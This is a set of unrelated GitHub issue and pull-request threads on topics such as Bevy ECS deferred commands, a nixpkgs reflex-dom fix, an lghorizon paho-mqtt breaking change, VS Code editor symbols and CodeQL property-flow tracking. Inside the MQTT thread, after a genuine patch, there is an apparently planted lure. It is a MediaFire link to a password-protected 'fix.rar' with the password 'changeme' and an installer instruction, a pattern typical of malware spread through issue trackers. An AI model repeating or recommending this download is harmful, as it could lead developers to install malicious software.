It would be useful to have a way to inspect and edit deferred ECS commands before they are applied.
This may be a more efficient and generic solution to problems like retrieving data from resources and entities just before they are deleted, or for other applications.
What solution would you like?
I'm thinking of having some kind of a InspectDeferred schedule that is run by apply_deferred system just before applying any deferred commands, and an API to actually manipulate or at least read the deferred commands list from such systems.
A developer could then insert exclusive &mut World systems into that schedule, which, for example, read the remove commands that are about to be executed, and then read and preserve just the data it needs.
Or maybe even edit the list of commands, and add/edit/remove commands that may be undesired for some reason. That may make it easier to manipulate commands done by another plugin, perhaps from a crate developed by someone else, if it exhibits undesirable behavior in this sense.
(In my particular case, for something I'm slowly working on, it would be very handy to be able to have hold of the exact entity IDs of entities that get deleted, which sounds like it would necessitate having the ability to edit the deferred commands list to preoccupy an ID of an entity with World::get_or_spawn after it gets deleted but before any new ones are spawned, or outright replace the command with a personal solution.)
The proposed solution raises a question about inserting systems into that schedule that themselves send deferred commands. May be worth to make systems that have a Commands parameter panic when run in this context to prevent the possibility?
What alternative(s) have you considered?
Wait for some solution to just the problem of retrieving deleted components and resources. Personally fork and edit code of crates with undesired behavior, and hope users of your code don't perform such behavior too. Create a personal solution of a command that preserves component/resource data before deleting it and urge everyone involved to use that instead of the stock Bevy remove commands.
Additional context
Haven't looked much. I apologize if this was already considered.

It sounds like Observers (https://github.com/bevyengine/bevy/pull/10839) are very relevant to this, but as I understand they are only applied after the commands and can't retrieve components before they are altered by it?


Add FB Messenger link to splash page

@brendanbabb – Looks like this was added with 0807f1148b264ad3acffc7b30604e2018abc1532 and resolves this issue.


Increase default RAM on virthost

What does this PR change?
This will increase the default RAM to 4GB on the virthost due to more demand when working with nested VMs in our test suite.
See https://github.com/SUSE/spacewalk/issues/17238

Waiting for a review from @cbosdo, then I will merge it.


haskellPackages.reflex-dom: fix eval on js backend

Description of changes
nix-build -A pkgsCross.ghcjs.haskell.packages.ghc98.reflex-dom currently fails eval with
 error: Package ‘glib-2.80.3’ in
.../nixpkgs/pkgs/development/libraries/glib/default.nix:329 is not available on the requested hostPlatform:
         hostPlatform.config = "javascript-unknown-ghcjs"

This fixes eval and likely reflex-dom per-se, though the build hangs on patch: https://gitlab.haskell.org/ghc/ghc/-/issues/25083
pkgsCross.ghcjs.haskell.packages.ghc96.reflex-dom fails even earlier on so who knows if this override is sufficient, but at least it seems necessary.

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

aaah, now I understand what this does. :laughing:


MQTT connection failing

I installed the library using pip install lghorizon, which installs paho_mqtt-2.1.0 due to the requirement paho-mqtt>=1.5.0. Unfortunately, paho-mqtt version 2 introduced some breaking changes. Running the test.py script results in the following error after authentication when trying to connect to a Ziggo NL account:
2024-08-26 17:06:56,098 - INFO - Backing off connect(...) for 2.0s (ValueError: Unsupported callback API version: version 2.0 added a callback_api_version, see docs/migrations.rst for details)
Backing off connect(...) for 2.0s (ValueError: Unsupported callback API version: version 2.0 added a callback_api_version, see docs/migrations.rst for details)

This can be fixed with the following modification to the models.py file:
--- models.py.orig      2024-08-26 17:05:58.675362315 +0200
+++ models.py   2024-08-26 17:06:04.335404067 +0200
@@ -335,7 +335,7 @@
         self._auth = auth
         self._brokerUrl = mqtt_broker_url.replace("wss://", "").replace(":443/mqtt", "")
         self.clientId = make_id()
-        self._mqtt_client = mqtt.Client(self.clientId, transport="websockets")
+        self._mqtt_client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1, self.clientId, transport="websockets")

         self._mqtt_client.ws_set_options(
             headers={"Sec-WebSocket-Protocol": "mqtt, mqttv3.1, mqttv3.11"}

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

I have worked around this issue using the following requirements.txt file for my project:
lghorizon
paho-mqtt<2.0.0

Changed the paho dependency to < 2.0.0


No editor symbols when open files

Does this issue occur when all extensions are disabled?: No

VS Code Version: 1.64.2 f80445acd5a3dadef24aa209168452a3d97cc326 x64
OS Version: Linux Mint 20.2 Uma Linux 363 5.4.0-99-generic #112-Ubuntu SMP Thu Feb 3 13:50:55 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

I found very strange issue. Editor symbols dissapear when I open some new files.
Steps to Reproduce:

Open VS Code
Open some source files.
Ctrl+Shift+O to watch symbols.
Symbols exist.
Open more files.
Symbols disappear even in already opened files.

I found this issue in some language provider extensions. For example in C/C++ for Visual Studio Code (https://github.com/microsoft/vscode-cpptools) and vscode-lua (https://github.com/trixnz/vscode-lua). In previous version of VS Code (or maybe in version before last) I didn't have this problem.
I will provide extra info if you need it.

/gifPlease

This sounds like a general issue to me then with regards to language services for the file. From the video it seems as if symbols stop to be resolved as soon as the XML file has been opened.
Do you have a specific extension installed for XML that maybe get's activated?

@bpasero, well it was a problem with an extension : https://github.com/danschultequb/qub-typescript-xml-vscode. I disabled it and now everything is correct. Sorry for wasting your time.


Crashlytics dashboard not showing any crashes

I have setup my app as it is in the docs . But when I manually create a crash , I get error in my console and in the logcat , it says report upload complete  but I don't see any crashes mentioned in my dashboard. I have implemented it using the below code.In logcat it also says
com.google.firebase.crash.FirebaseCrash is not linked. Skipping initialization.
//My code
RaisedButton(
onPressed: () {
try {
throw FormatException();
              } catch (exception, stack) {
                debugPrint(exception.toString());
                debugPrint(stack.toString());
                FlutterCrashlytics().setUserInfo('user', userDetails.email, userDetails.user_first_name);
                FlutterCrashlytics().logException(exception, stack);
                FlutterCrashlytics().initialize();
                FlutterCrashlytics().reportCrash(exception, stack);
              }
            },
            child: Text('Manual exception log'),
          ),

I don't use firebase yet but maybe look at the other closed issue on how setup the plugin with firebase. As it need more steps that what's on the readme


Populate Acrarium To skip Admin Creation

Hi, Wondering if there is a way we can populate the Administrator creation. We are trying to find a way to do this in Terraform.

Can you prepopulate the database with a user? The screen is only shown if there is no admin user.


JS: Explore fewer spurious flow paths through properties

Fixes a scalability problem in how we track flow through properties.
It can be seen in the base case of reachableFromStoreBase:
private predicate reachableFromStoreBase(
  string prop, DataFlow::Node rhs, DataFlow::Node nd, DataFlow::Configuration cfg,
  PathSummary summary
) {
  isRelevant(rhs, cfg) and
  storeStep(rhs, nd, prop, cfg, summary)
  or
  /* recursive case (propagate along flowStep) */
}

Note that isRelevant refers to the result of exploratory flow, which disregards both call/return matching and store/load matching.  So we're tracking forward from the base of any property write whose RHS is seen by exploratory flow, and this set can be quite large.
The tracking itself can also lead to more places than it needs to, for example:
new C(taint())
class C {
  constructor(x) {
    this.foo = x;
    this.bar = new Blah(x);
  }
}

Here, we start forward-tracking from foo in the constructor. This forward-tracking spills into all call sites of C as the initial path summary is level. Since the resulting path summary has a return, the spurious property-flow edges won't actually be usable, but we still pay for constructing them.
This PR makes two changes:

More accurately determine which prop writes are relevant for tracking. For this we use reachableFromSource and recursively reachableFromStoreBase to account for nested properties.
Include the hasCall part of the above "witness" to avoid constructing property-flow edges that can't be appended after the flow to the RHS.

Initial evaluation looks very promising, but I'm waiting for more evaluations.

Implementation LGTM.
Would it make sense to keep the (presumably cheap) isRelevant(rhs, cfg) as an early pruner, in the name of performance?

isRelevant is implied by reachableFromSource and reachableFromStoreBase so joining by that offers no further pruning.

Evaluation on smoke-test and big-apps show fairly neutral performance. It didn't benefit many other projects, but I think it's safe to land as it unbreaks vscode.


Question: Fluentd input plugin?

Hi,
With which Fluentd input plugin does this hook work? in_forward or in_tcp?
Pieter

@pieterlouw This library use https://github.com/fluent/fluent-logger-golang and the default is tcp.
https://github.com/fluent/fluent-logger-golang/blob/master/fluent/fluent.go#L20
This library just use default one so far, but you can add supports for unix domain socket
https://github.com/fluent/fluent-logger-golang/blob/master/fluent/fluent.go#L272-L284


Added a standard eslint setup

Description
There is no linter setup for the compiler and editor.
Created a basic setup to help in keeping a consistent codebase.
Changes made
In the directory  /compiler or /editor the following commands can be run:

pnpm lint will check for errors within the folder
pnpm lint:fix will fix the possible issues it can

Along with the standard lint added a .prettierrc file with the single quote option enabled
Using the package prettier,
On running pnpm format in /compiler or /editor will give the formatted output


Update to a more recent Electron version

we're on 0.36.8, and the most recent is 1.2.1

d61d1f9f8ee3b5d5e6f7e680dbfc8d5da92b2e6e


Add remediation policies blog

Adds a blog post introducing remediation policies. Targeting a publish date of Tuesday.

@interurban All set to go, can you hit merge for me at the right time?


Bearer Token being written to console

Not sure if this is really a security hole, but it feels like it may not be the best idea: the bearer token, byuID of the owner of the app, and other user info is being printed to the console:

Good point. Default logging level bumped up to "error" instead of "info".


chall-0/back-merge base-challenge-template

Back-merged recent 2 PR's #47 & #46
Commands used :
git merge --squash base-challenge-template

There were conflicts in yarn.lock , I discarded all the changes from yarn.lock and ran "yarn install" and this correctly updated yarn.lock similar to #47 checkout #47 yarn.lock file changes here -> https://github.com/scaffold-eth/se-2-challenges/pull/47/files#diff-51e4f558fae534656963876761c95b83b6ef5da5103c4adef6768219ed76c2de
Like if there are merge conflicts in yarn.lock doing yarn install resolves them automatically but just to be sure I did above thing since we have updated packages in package.json 🙌

Merging this I tested it nicely and everything works  🙌


[FEATURE] Sprint Showcase - Show if task has been scheduled on planned task screen

In the Sprint Showcase Task List should show if a task is already scheduled or not & how many hours have been scheduled.

This was a duplicate of #25. Closing.